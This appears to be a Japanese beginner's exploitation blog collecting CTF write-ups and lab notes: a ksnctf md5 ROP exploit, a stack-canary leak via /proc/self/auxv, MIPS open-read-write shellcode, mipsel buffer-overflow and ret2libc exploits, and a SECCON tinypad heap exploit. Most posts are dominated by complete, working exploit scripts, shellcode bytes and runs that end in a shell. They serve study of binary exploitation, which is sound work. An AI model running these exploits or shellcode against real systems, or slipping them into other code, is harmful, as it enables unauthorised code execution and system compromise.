Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

ksnctfc92 md5 (pwn 60)

時間立っちゃって間違ってるかもしれないけど記憶の限り書いておく

下調べ

  • 64bitのdynamically linkedでnot strippedなバイナリ
  • Nx bitが立ってる
  • libc配布されている

解析

解析してくと"exit"という文字列のmd5を比較してるのが分かるので、"exit"文字列をいい感じにセットしてあげて、ペイロードを組むと楽にPCが取れる。

Exploit

PCが取れたら、puts関数とかを使ってlibcのアドレスをリークしてあげて、libcベースを算出する。あとは64bitバイナリなので、一応one_gadget調べてみたら、使えそうなガジェットがあったので、それに飛ばすとシェルが取れる。

以下にexploitを示す。

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 9999

if(ARGV[0] == 'r')
  host = 'ksnctfc92.u1tramarine.blue'
  port = 55555
end

PwnTube.open(host, port) do |t|

  # puts(puts@got)
  rop = p64(0x400f13, 0x602028, 0x400820, 0x400c87)
  t.recv_until("length:")
  t.sendline("%d"  % (120 + rop.length))
  t.recv_until("data:")
  t.sendline("\x00" * 120 + rop)
  
  t.recv_until("length:")
  t.sendline("4")
  t.recv_until("data:")
  t.send("exit") # from md5crack
  t.recv_until("\n")
  
  addr = t.recv_until("\n").chop.ljust(8, "\x00")
  libc_puts = u64(addr)[0]
  libc_base = libc_puts - 0x6cee0
  puts "[+] libc base: 0x%x" % libc_base
  
  # One gadget
  libc_magic = libc_base + 0xe1f7f
  
  t.recv_until("length:")
  t.sendline("%d"  % (128))
  t.recv_until("data:")
  t.sendline("\x00" * 120 + p64(libc_magic))
  
  t.recv_until("length:")
  t.sendline("4")
  t.recv_until("data:")
  t.send("exit")

  t.shell
end

実際に実行してみると以下のような感じ。

$ ./x.rb r
[*] connected
[+] libc base: 0x7fd1d87da000
[*] waiting for shell...
[*] interactive mode
id
uid=1002(md5) gid=1002(md5) groups=1002(md5)
ls
flag.txt
flag2.txt
md5
md5.sh
cat flag*
FLAG{EukFcauPdlPYh0bK}
FLAG{OpBW3mIwSllxumQZ}

/proc/self/auxvを用いたCanaryリーク

tl;dr

/proc/self/auxvから見れるAT_RANDOMの値が指すメモリの値の末尾1byteを0x00に変更したものがCanaryと等しい。

はじめに

/proc配下にはexploitする上で良い情報源となる物が多い。今回はそれらの中でもauxv(auxiliary vector補助ベクトルの略かな?)に注目する。auxvには、実行時にプロセスに渡された ELF インタープリター情報が格納されている。具体的にはunsigned longのidとidに対応するunsigned longなvalueが格納されている。ここに格納されている情報を用いてCanaryをリークする。

環境

どういう環境でこれが成立するのかわからないので、とりあえず試した環境を示しておく。

vagrant@ubuntu4ctf ~/c/t/auxv> uname -a                                                                                                               
Linux ubuntu4ctf 4.8.0-32-generic #34~16.04.1-Ubuntu SMP Tue Dec 13 17:03:41 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
vagrant@ubuntu4ctf ~/c/t/auxv> cat /etc/lsb-release                                                                                                   
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS"
vagrant@ubuntu4ctf ~/c/t/auxv> gcc --version                                                                                                          
gcc (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

vagrant@ubuntu4ctf ~/c/t/auxv> /lib/x86_64-linux-gnu/libc.so.6                                                                                        
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
        crypt add-on version 2.1 by Michael Glad and others
        GNU Libidn by Simon Josefsson
        Native POSIX Threads Library by Ulrich Drepper et al
        BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

/proc/self/auxvを見てみる

簡単に見る方法として、環境変数LD_SHOW_AUXV=1をセットしておくことで、/proc/self/auxvの値をidとvalueのペアでわかりやすいように表示してくれる。

試しに/bin/lsを実行してみる。

vagrant@ubuntu4ctf:~/ctf/tmp/auxv$ LD_SHOW_AUXV=1 /bin/ls
AT_SYSINFO_EHDR: 0x7ffcac3e6000
AT_HWCAP:        78bfbff
AT_PAGESZ:       4096
AT_CLKTCK:       100
AT_PHDR:         0x400040
AT_PHENT:        56
AT_PHNUM:        9
AT_BASE:         0x7f0195d8d000
AT_FLAGS:        0x0
AT_ENTRY:        0x4049a0
AT_UID:          1000
AT_EUID:         1000
AT_GID:          1000
AT_EGID:         1000
AT_SECURE:       0
AT_RANDOM:       0x7ffcac339899
AT_EXECFN:       /bin/ls
AT_PLATFORM:     x86_64
getauxval_test.c

他にも、glibcがauxiliary vectorから値を取得するgetauxval関数も存在する。以下にサンプルプログラムを示す。

/*
 * gcc getauxval_test.c
 */
#include <stdio.h>
#include <sys/auxv.h>
int main(int argc, char* argv[]) {

  printf("AT_PLATFORM: %s\n", getauxval(AT_PLATFORM));
  printf("AT_RANDOM: %lx\n", getauxval(AT_RANDOM));

  return 0;
}

実行してみるとこんか感じ。

vagrant@ubuntu4ctf ~/c/t/auxv> ./a.out                                                                       
AT_PLATFORM: x86_64
AT_RANDOM: 7fffedf92c29

Canaryをリークしてみる

実はこのAT_RANDOMが指すメモリの値に、Canaryと末尾1byteのみが異なる値が格納されている。また、Canaryは末尾1byteが0x00だと既知なので、実質Canaryが求まることになる。 実際に求めるプログラムを以下に示す。

/*
 * gcc canary_leak_from_auxv.c
 */
#include <stdio.h>
#include <sys/auxv.h>

int main(int argc, char* argv[]) {
  char buf[16]
  unsigned long *canary_addr = (unsigned long*)getauxval(AT_RANDOM);
  unsigned long canary;
  canary = (unsigned long*)*canary_addr;
  canary &= ~0xff; // 末尾1byteを0x00に
  printf("Canary: 0x%lx\n", canary);

  return 0;
}

上記のプログラムをコンパイルしたら、実際にgdbでCanaryの値とprintfする際の第二引数を見てCanaryの値が一致しているかをたしかめてみる。最初のスクショがCanaryをraxレジスタに入れた直後で、二つ目がprintfを呼ぶ直前の画面である。f:id:encry1024:20170812001930p:plain f:id:encry1024:20170812001956p:plain

これらの結果からCanaryが一致していることがわかる。

まとめ

以下の2点が揃えばCanaryをリークすることが可能である。

  • /proc/self/auxvかgetauxval関数が呼べる
  • メモリのread、writeができる

感想

上記の2つが出来てたら、もうCanaryをリークする意味はなさそう…w

mipselにおけるopen-read-writeするシェルコードを書いてみる

はじめに

pwn.hatenadiary.jp

以前の記事では、execveを用いてシェルを起動するシェルコードを使っていた。
今回は、execveなどがseccomp等で制限されて使えない場合を想定して、open,read,writeのシステムコールを用いて、ファイルの中身を出力する"\x00"が入っていないシェルコードを書いてみた。一応、最後はexitするようにしている。主な仕様制限として、255byteのreadで、ファイル名の末尾はうまくNULL終端してくれる場合にのみ有効である。

環境

前回の記事と同じ環境である。

root@debian-mipsel:~/study# uname -a
Linux debian-mipsel 4.9.0-3-4kc-malta #1 Debian 4.9.30-2 (2017-06-12) mips GNU/Linux
root@debian-mipsel:~/study# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 9.0 (stretch)
Release:    9.0
Codename:   stretch
root@debian-mipsel:~/study# gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

シェルコードを書く

詳しい挙動についてはコメントを見て欲しい。

.section .text
.global __start
.set noreorder

__start:
    addiu $sp, $sp, -255
    slti $a2, $zero, -1
p:
    bltzal $a2, p
    slti $a1, $zero, -1   # $a1 = 0
    addu $a0, $ra, 4097
    addu $a0, $a0, -4025  # $a0 = $ra + 72
    li $v0, 4005
    syscall 0x40404       # $v0 = open("/etc/passwd", O_RDONLY)
    andi $a0, $v0, 4095   # fd
    move $a1, $sp         # buf
    li $a2, 255           # count
    li $v0, 4003
    syscall 0x40404       # read($v0, $sp, 255)
    li $a0, 4095
    addiu $a0, $a0, -4094 # fd($a0 = 1)
    move $a1, $sp         # buf
    li $a2, 255           # count
    li $v0, 4004
    syscall 0x40404       # write(1, $sp, 255)
    slti $a0, $zero, -1   # status
    li $v0, 4001
    syscall 0x40404       # exit(0)
path:
    .string "/etc/passwd"

上記のプログラムを以下のようにしてアセンブルする。

root@debian-mipsel:~/study# as orw.s -o orw.o
root@debian-mipsel:~/study# ld orw.o -o orw

実際に、実行してみる。straceして各システムコールの戻り値や引数が合っているかも同時に確認してみる。

root@debian-mipsel:~/study# strace ./orw
execve("./orw", ["./orw"], [/* 19 vars */]) = 0
open("/etc/passwd", O_RDONLY)           = 3
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 255) = 255
write(1, "root:x:0:0:root:/root:/bin/bash\n"..., 255root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/va) = 255
exit(0)                                 = ?
+++ exited with 0 +++

ちゃんと"/etc/passwd"をO_RDONLYでopenして、255byteの入出力、最後はexitが呼ばれて終了していることがわかる。 もうちょっと短くできそうだったら教えていただけると嬉しい。

mipselにおけるシェルコードを読んでみる

2017年8月11日に茅場町コワーキングスペースCo-EdoでCpawLTをやったので置いておく。ここすごく綺麗だし勉強会にはちょうど良いので、オススメします。

mipselにおけるバッファオーバーフローを用いたシェルコード実行を試してみるでは、exploit-dbにあるシェルコードをそのまま使っていた & LTネタが無かったので、シェルコードの動きとかコメント付けて解説したりしました。

speakerdeck.com

mipselにおけるReturn to libcを試してみる

はじめに

前回のmipselにおけるバッファオーバーフローを用いたシェルコード実行を試してみるでは、シェルコードを実行させた。そこで、今回はReturn to libcを試してみる。

環境

前回の記事と同じ環境である。

root@debian-mipsel:~/study# uname -a
Linux debian-mipsel 4.9.0-3-4kc-malta #1 Debian 4.9.30-2 (2017-06-12) mips GNU/Linux
root@debian-mipsel:~/study# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 9.0 (stretch)
Release:    9.0
Codename:   stretch
root@debian-mipsel:~/study# gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

脆弱性のあるプログラム

単純なスタックバッファオーバーロードでリターンアドレスを書き換えが可能なプログラムを以下に示す。 今回は攻撃を簡単にするためにlibcのアドレスを表示する仕様にしている。これはexploit中にlibcのアドレスがリークできる状況を想定している。また、後にsocatで動かすのでsetbufもしている。

//ret2libc.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {

  char buf[100];

  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("%p\n", printf);

  gets(buf);
  return 0;
}

上記のプログラムを以下のようにしてコンパイルする。

root@debian-mipsel:~/study/2_ret2libc# gcc -fno-stack-protector -no-pie ret2lib.c -o ret2lib

試しに実行してみると以下のような感じ。

root@debian-mipsel:~/study/2_ret2libc# ./ret2libc
0x77e7d720
AAAA

最後にこのバイナリをsocatで動かしておく。

root@debian-mipsel:~/study/2_ret2libc# socat tcp-l:8888,reuseaddr,fork exec:./ret2libc&

バイナリを読んでみる

今回も前回同様にリターンアドレスまでのオフセットは108なので、exploitに必要なところを見てみる。
x86と違い、mipsでは関数の引数はレジスタ渡しなので、x86-64と同様になんとかしてレジスタにスタックの値を入れなくてはいけないのだが、(お手軽にいつものx86-64みたいにpop rdi; retして~みたいな方法がわからんかった)、__libc_csu_initによる3引数関数実行という一般的なテクニックが利用可能である。
以下にlibc_csu_initの重要な部分のobjdump結果を示す。

 4008d0:       8e190000        lw      t9,0(s0)
  4008d4:       26310001        addiu   s1,s1,1
  4008d8:       02a03025        move    a2,s5
  4008dc:       02802825        move    a1,s4
  4008e0:       0320f809        jalr    t9
  4008e4:       02602025        move    a0,s3
  4008e8:       1651fff9        bne     s2,s1,4008d0 <__libc_csu_init+0x60>
  4008ec:       26100004        addiu   s0,s0,4
  4008f0:       8fbf0034        lw      ra,52(sp)
  4008f4:       8fb50030        lw      s5,48(sp)
  4008f8:       8fb4002c        lw      s4,44(sp)
  4008fc:       8fb30028        lw      s3,40(sp)
  400900:       8fb20024        lw      s2,36(sp)
  400904:       8fb10020        lw      s1,32(sp)
  400908:       8fb0001c        lw      s0,28(sp)
  40090c:       03e00008        jr      ra
  400910:       27bd0038        addiu   sp,sp,56

この構造に合わせてスタックに流し込むペイロードを考えれば良い。ただし、4008d0から分かるように、ジャンプ先が格納されるt9レジスタに入る値は、s0レジスタレジスタ間接なので、呼びたい関数のアドレスが格納されているメモリのアドレスなどを指定する必要がある。今回は、execl関数のアドレスが格納されているlibc内のアドレスがあったので、これを用いてシェルを起動する。(正直、これが正しいやり方、安定したやり方なのかどうか疑問だが)

exploitを書いてみる

# x.py
import socket
import telnetlib
import struct

def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

def shell(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]                                                                                                             [0/1969]

s, f = sock("localhost", 8888)

libc_printf = int(read_until(f),16)
libc_base = libc_printf - 0x50270
libc_execl_ptr = libc_base + 0x180464
libc_bin_sh = libc_base + 0x158054
print "libc base: 0x%x" % libc_base
print "execl_ptr: 0x%x" % libc_execl_ptr
print "/bin/sh: 0x%x" % libc_bin_sh

# Using __libc_csu_init
payload = ''
payload += 'A' * 108
payload += p(0x4008f0)       # 0x4008f0: lw ra,52(sp)
payload += 'A' * 28
payload += p(libc_execl_ptr) # lw      s0,28(sp)
payload += p(0xdeadbeef)     # lw      s1,32(sp)
payload += p(0xdeadbeef)     # lw      s2,36(sp)
payload += p(libc_bin_sh)    # lw      s3,40(sp)
payload += p(0)              # lw      s4,44(sp)
payload += p(0)              # lw      s5,48(sp)
payload += p(0x4008d0)       # lw      ra,52(sp)

f.write(payload + '\n')

shell(s)

実際に上記のプログラムを実行してみる。

root@debian-mipsel:~/study/2_ret2libc# python x.py
libc base: 0x77435000
execl_ptr: 0x775b5464
/bin/sh: 0x7758d054
id
uid=0(root) gid=0(root) groups=0(root)

実際にシェルが起動していることがわかる。

mipselにおけるバッファオーバーフローを用いたシェルコード実行を試してみる

はじめに

mipsel(mipsのリトルエンディアン環境)において、簡単なスタックオーバーフローを用いたシェルコード実行を試してみたからメモしておく。

環境

Qemuでmipselのシステムエミュレーションで以下の環境を用意した。

root@debian-mipsel:~/study# uname -a
Linux debian-mipsel 4.9.0-3-4kc-malta #1 Debian 4.9.30-2 (2017-06-12) mips GNU/Linux
root@debian-mipsel:~/study# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 9.0 (stretch)
Release:    9.0
Codename:   stretch
root@debian-mipsel:~/study# gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

脆弱性のあるプログラム

単純なスタックバッファオーバーロードでリターンアドレスを書き換えが可能なプログラムを以下に示す。
今回は攻撃を簡単にするためにbuf変数のアドレスを表示する仕様にしている。後にsocatで動かすのでsetbufもしている。

// bof.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {

  char buf[100];

  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("%p\n",buf);
  gets(buf);

  return 0;
}

上記のプログラムを以下のようにしてコンパイルする。本環境だと-z execstackを付けない場合でもスタック上が実行可能になってしまっていたので付けていない。これはQemuの設定の方が足りていないってことなんだろうか?

root@debian-mipsel:~/study# gcc -fno-stack-protector -no-pie bof.c -o bof

試しに実行してみると以下のような感じ。

root@debian-mipsel:~/study# ./bof
0x7fe57dd0
AAAA

最後にこのバイナリをsocatで動かしておく。

root@debian-mipsel:~/study# socat tcp-l:8888,reuseaddr,fork exec:./bof&

バイナリを読んでみる

とりあえずobjdumpでmain関数を見てみる。

004007c0 <main>:
  4007c0:   3c1c0002    lui gp,0x2
  4007c4:   279c8240    addiu   gp,gp,-32192
  4007c8:   0399e021    addu    gp,gp,t9
  4007cc:   27bdff78    addiu   sp,sp,-136
  4007d0:   afbf0084    sw  ra,132(sp)
  4007d4:   afbe0080    sw  s8,128(sp)
  4007d8:   03a0f025    move    s8,sp
  4007dc:   afbc0010    sw  gp,16(sp)
  4007e0:   afc40088    sw  a0,136(s8)
  4007e4:   afc5008c    sw  a1,140(s8)
  4007e8:   8f828040    lw  v0,-32704(gp)
  4007ec:   8c420000    lw  v0,0(v0)
  4007f0:   00002825    move    a1,zero
  4007f4:   00402025    move    a0,v0
  4007f8:   8f828058    lw  v0,-32680(gp)
  4007fc:   0040c825    move    t9,v0
  400800:   0320f809    jalr    t9
  400804:   00000000    nop
  400808:   8fdc0010    lw  gp,16(s8)
  40080c:   8f82803c    lw  v0,-32708(gp)
  400810:   8c420000    lw  v0,0(v0)
  400814:   00002825    move    a1,zero
  400818:   00402025    move    a0,v0
  40081c:   8f828058    lw  v0,-32680(gp)
  400820:   0040c825    move    t9,v0
  400824:   0320f809    jalr    t9
  400828:   00000000    nop
  40082c:   8fdc0010    lw  gp,16(s8)
  400830:   27c20018    addiu   v0,s8,24
  400834:   00402825    move    a1,v0
  400838:   8f828024    lw  v0,-32732(gp)
  40083c:   244409d0    addiu   a0,v0,2512
  400840:   8f828050    lw  v0,-32688(gp)
  400844:   0040c825    move    t9,v0
  400848:   0320f809    jalr    t9
  40084c:   00000000    nop
  400850:   8fdc0010    lw  gp,16(s8)
  400854:   27c20018    addiu   v0,s8,24
  400858:   00402025    move    a0,v0
  40085c:   8f82804c    lw  v0,-32692(gp)
  400860:   0040c825    move    t9,v0
  400864:   0320f809    jalr    t9
  400868:   00000000    nop
  40086c:   8fdc0010    lw  gp,16(s8)
  400870:   00001025    move    v0,zero
  400874:   03c0e825    move    sp,s8
  400878:   8fbf0084    lw  ra,132(sp)
  40087c:   8fbe0080    lw  s8,128(sp)
  400880:   27bd0088    addiu   sp,sp,136
  400884:   03e00008    jr  ra
  400888:   00000000    nop
  40088c:   00000000    nop
  • 4007d8: 03a0f025 move s8,spでs8レジスタにスタックポインタ(sp)を代入している
  • jalr t9がところどころにあるが、これがsetbufやprintfなどの関数に飛ぶ処理である
  • raはリターンアドレスを格納するレジスタなので、400878: 8fbf0084 lw ra,132(sp)からスタックの頂上から132byteのところにリターンアドレスが格納されているとわかる
  • 1番最後のjalr t9がgets関数なので第一引数であるa0を探すと、400854でs8(=sp)+24をv0に設定し、次の命令でa0にv0を代入していることがわかる
  • リターンアドレスがsp+132で、getsの入力先がsp+24なので、オフセットは108だとわかる

exploitを書いてみる

まず最初に出力されるアドレスを保存しておき、[シェルコード|パディング|前述したアドレス]という形のペイロードを流し込むスクリプトを作成する。なおシェルコードは、shell stormにあるのを利用した。

# x.py
import socket
import telnetlib
import struct

def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

def shell(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

def p(a): return struct.pack("<I",a)

s, f = sock("localhost", 8888)

stack_addr = int(read_until(f),16)

# shellcode
payload = "\xff\xff\x10\x04\xab\x0f\x02\x24\x55\xf0\x46\x20\x66\x06\xff\x23\xc2\xf9\xec\x23\x66\x06\xbd\x23\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf\x9a\xf9\xbd\x23\x21\x20\x80\x01\x21\x28\xa0\x03\xcc\xcd\x44\x03/bin/sh"

# padding
payload += '\x00' * (108 - len(payload))

# return addr
payload += p(stack_addr)
payload += '\n'

f.write(payload)

shell(s)

実際に上記のプログラムを実行してみる。

root@debian-mipsel:~/study# python x.py
id
uid=0(root) gid=0(root) groups=0(root)

シェルコードが実行されて、シェルの起動を確認した。

SECCON 2016 Online CTF tinypad(pwn300)

想定解ではない解き方から,いろいろ学ぶ会.

Info

  • 64bitのnot strippedでdynamically linkedなバイナリ
  • Full RELRO,Canary,Nx enabled
  • libcは配布

Analysis

メモ管理系のバイナリで,4つのメモを以下のような構造体で管理しており,グローバル変数として存在するのだが,なぜかこの構造体の前に空き領域がある感じに(要は構造体の構造体)なっており,以下の構造体が実際にあるのは0x602140だった.

struct {
    size_t size;
    char *memo;
}

また,このメモに対して以下のコマンドを実行することができる.

  • A: サイズを入力して,mallocを呼び,そのサイズ分そこに書き込む
    • サイズは,どんな値でも入力できるが,$ 0 < x < 0x100 $を満たさないと,変更される
  • D: インデックスを入力して,そのmemoをfreeする
  • E: インデックスを入力して,そのmemoを書き換える
  • Q: コマンド実行用のループから抜けるだけ

脆弱性としては,毎回4つのメモ内容を表示する仕様になっており,memoの追加削除の有無にかかわらず表示しているため,free済みchunkなどをleakすることができてしまうという脆弱性がある.
もう1つは,入力関数にsingle null byte overflowがある.

Exploit

まず,どうやってHeapやLibcのアドレスを上記の脆弱性を使って行うかだが,まず4つのメモを追加する.例えば,3番目,1番目の順番にメモを削除する.そうすると,fastbinsに入らないchunkはいったんunsortedbinに追加されるわけなので(ただ,後ろのchunkがfree済みだっりするとconsolidateが走りまとめようとしてくるので,今回のケースで言えば2番目と4番目のchunkはそれを防ぐためといえる),そのfreed chunkのfdやbkは他のchunkであったり,top chunkを指すようになる.具体的に言えば,1番目のfreed chunkのfdは3番目のfreed chunkを指しており,3番目のfreed chunkのfdはtop chunkを指すようになる.そうすると,削除済みのメモにかかわらず表示する仕様上,ちょうどdata領域もといfreed chunkのfdがリークするので,topとheapのアドレスが手に入り,オフセットを用いて計算することで,ヒープベースlibcベースが算出できる.また,このリークに使ったchunkが後続する攻撃に影響すると嫌なので,とりあえず2番目と4番目のメモも削除した.

次に,もう一つの脆弱性であるsingle null byte overflowを使って任意の場所への書き込みを行う.要は,Poisoned NULL byteのテクニックを実践してみる. 確保したchunkのdata領域に書き込む時に,この脆弱性で,0x00があふれるというのは,隣接する次のchunkのsizeの末尾1byteを0x00に変えること意味する.このsizeの末尾1byteというのはPREV_INUSEを意味し,前のchunkが使用しているかどうかの判定などに使われる.またsizeの末尾1byteが上書きできるということは,その前のprev_sizeも書き換えが可能である. そこで,今回はオーバーフローをしつつfake chunkを作るということをする.例えばmalloc(1)を呼ぶと,sizeは0x20になるので,これと同じ最小のfake chunkを作る.そこで,sizeを0x21,fd,bkを共にfake chunk自身に向け,オーバーフローした方のprev_sizeを0x20にして,sizeの末尾1byteを0x00に変える.そして,2番目のchunkをfreeすると,PREV_INUSEなどから直前のchunkはfree済みとみなされて,1つの空き領域としてまとめられる.そうすると,本来Aのdata領域であったところの一部が空き領域となってしまう
次に,fastbinsに入るような小さなchunkを確保し,最初のchunkをfreeして,次にこのchunkをfreeする.そして再度最初のchunkを最初と同じサイズで確保すると,fastbinsに入っているfreed chunkを含んだ範囲をdata領域として確保されることになる.つまり,オフセットを計算しておけば,freed chunkのfdなどを書き換えることが可能になる.
freed chunkのfdがいじれるので,sizeの整合性が取れるところを指すようにしたりすることで House of Spiritが可能となる.fdなどを書き換えたfreed chunkをfreeして,fastbinsに突っ込み,その後同サイズのmallocを呼び,さらにもう一度呼べば,それは書き換えたfdが指すアドレスを返すので,意図的な箇所に書き込みが可能となる.(今回は,4番目のメモの手前を指すようにした.なので,予め4つ目のメモのサイズ0x31を合わせておいた).
そうすると,メモの内容表示の部分で今度は,そのアドレスの中身をリークすることができる.今回はセキュリティ機構が厳しかったので__libc_argvからスタックのアドレスをリークして,edit処理(正確に言えば,2番目のメモのポインタが指すのが,4番目のメモのアドレスなので2番目で書き込みたいアドレスを入力すると,4番目のメモのポインタの指す先がそのアドレスになるので書き込みが可能になる)で,main関数のreturn addressを上書きする方針を取った.よって,return addressをone gadgetに飛ばしてシェルを取った.

#!/usr/bin/env ruby
# coding: utf-8

require 'pwnlib'
require 'fsalib'
require 'one_gadget'
include Shellcode

host = 'localhost'
port = 8888


def add(t, len, data)
  puts "[!] Add memo"
  t.sendline("A")
  t.recv_until(">>>")
  t.sendline(len.to_s)
  t.recv_until(">>>")
  t.sendline(data)
  t.recv_until(">>>")
end

def edit(t, id, data)
  puts "[!] Edit memo"
  t.sendline("E")
  t.recv_until(">>>")
  t.sendline(id.to_s)
  t.recv_until(">>>")
  t.sendline(data)
  t.recv_until(">>>")
  t.sendline("Y")
  t.recv_until(">>>")
end

def del(t, id)
  puts "[!] Delete memo"
  t.sendline("D")
  t.recv_until(">>>")
  t.sendline(id.to_s)
end

PwnTube.open(host, port) do |t|

  tinypad_addr = 0x602140
  libc_argv_offset = 0x3c82f8
  onegadget_offset = OneGadget.gadgets(file: '/lib/x86_64-linux-gnu/libc.so.6')[2]
  
  # Leak heap and libc addr
  t.recv_until(">>>")
  add(t, 0x100, "A1")
  add(t, 0x100, "B1")
  add(t, 0x100, "C1")
  add(t, 0x100, "D1")
  del(t, 3)
  t.recv_until(">>>")
  del(t, 1)
  data = t.recv_capture(/INDEX: 1\n # CONTENT: (.+)\n\n\n/)
  heap_addr = u64(data[0].ljust(8, "\x00"))[0]
  data = t.recv_capture(/INDEX: 3\n # CONTENT: (.+)\n\n\n/)
  top_addr = u64(data[0].ljust(8, "\x00"))[0]

  heap_base = heap_addr - 0x220
  libc_base = top_addr - 0x3c3b78

  puts "[+] heap base: 0x%x" % heap_base
  puts "[+] libc base: 0x%x" % libc_base

  t.recv_until(">>>")
  del(t, 2)
  
  t.recv_until(">>>")
  del(t, 4)
  t.recv_until(">>>")
  
  add(t, 0xf8, "A2")
  add(t, 0xf8, "B2")
  add(t, 0xf8, "C2")
  add(t, 0x31, "D2") # 後に,fastbinsでsizeの整合性を取る
  

  del(t, 1)
  t.recv_until(">>>")

  # 最小のfake chunkを作る
  # fake chunk
  # prev_size: 0
  # size: 0x21
  # fd: fake chunk
  # bk: fake chunk
  
  fake_chunk_offset = 0xe0
  fake_chunk_addr = heap_base + fake_chunk_offset
  payload = ""
  payload << "@" * 0xd0
  payload << p64(0, 0x21)
  payload << p64(fake_chunk_addr, fake_chunk_addr)
  payload << p64(0x20)
  payload = payload.rjust(0xf8, "@")
  add(t, 0xf8, payload)

  # consolidate
  del(t, 2)

  # fastbinのchunkを作る
  payload = ""
  payload << "@" * 24
  payload << p64(0x121)
  add(t, 0x20, payload)

  # 最初と上記のchunkをfreeする
  del(t, 1)
  t.recv_until(">>>")
  del(t, 2)
  t.recv_until(">>>")

  # 最初と同じサイズで確保することで,freed chunkを上書き
  payload = "@" * 0xd0
  payload << p64(0, 0x31) # prev_size, size
  payload << p64(tinypad_addr + 0x28) # fd: 3番目のポインタのアドレス
  add(t, 0xf8, payload)
  
  del(t, 1)
  t.recv_until(">>>")
  
  # fastbinsからchunkを返す
  add(t, 0x28, "A3")

  # 書き換えられたfdが指す先を返す
  add(t, 0x28, p64(libc_base + libc_argv_offset))
  stack_ddr = u64(t.recv_capture(/INDEX: 4\n # CONTENT: (.+)\n\n\n/)[0].ljust(8, "\x00"))[0]
  
  stack_offset = 0xe0
  edit(t, 2, p64(stack_ddr - stack_offset))

  edit(t, 4, p64(libc_base + onegadget_offset))

  t.sendline("Q")

  t.recv_until(">>>")

  t.shell
end

以下が実行結果である.

f:id:encry1024:20170404222334p:plain

感想

いろいろなHeap周りのテクニックを学んできたが,あまりヒープのレイアウトを意識して学んだり使ったことがなかった.なので,今回のようにちゃんと「現在どういうヒープのレイアウトになっているのか」,「どこにどんなchunkがあるのか」等を意識して考えることはとても勉強になった.特にPoisoned null byteのテクニックは学んだだけで利用したことはなかったので,実際に利用してみて,たった「1byteの0x00のOverflowがここまで攻撃に起因してしまうのか・・」というCTFとはまた違った感情を抱いたりした.

資料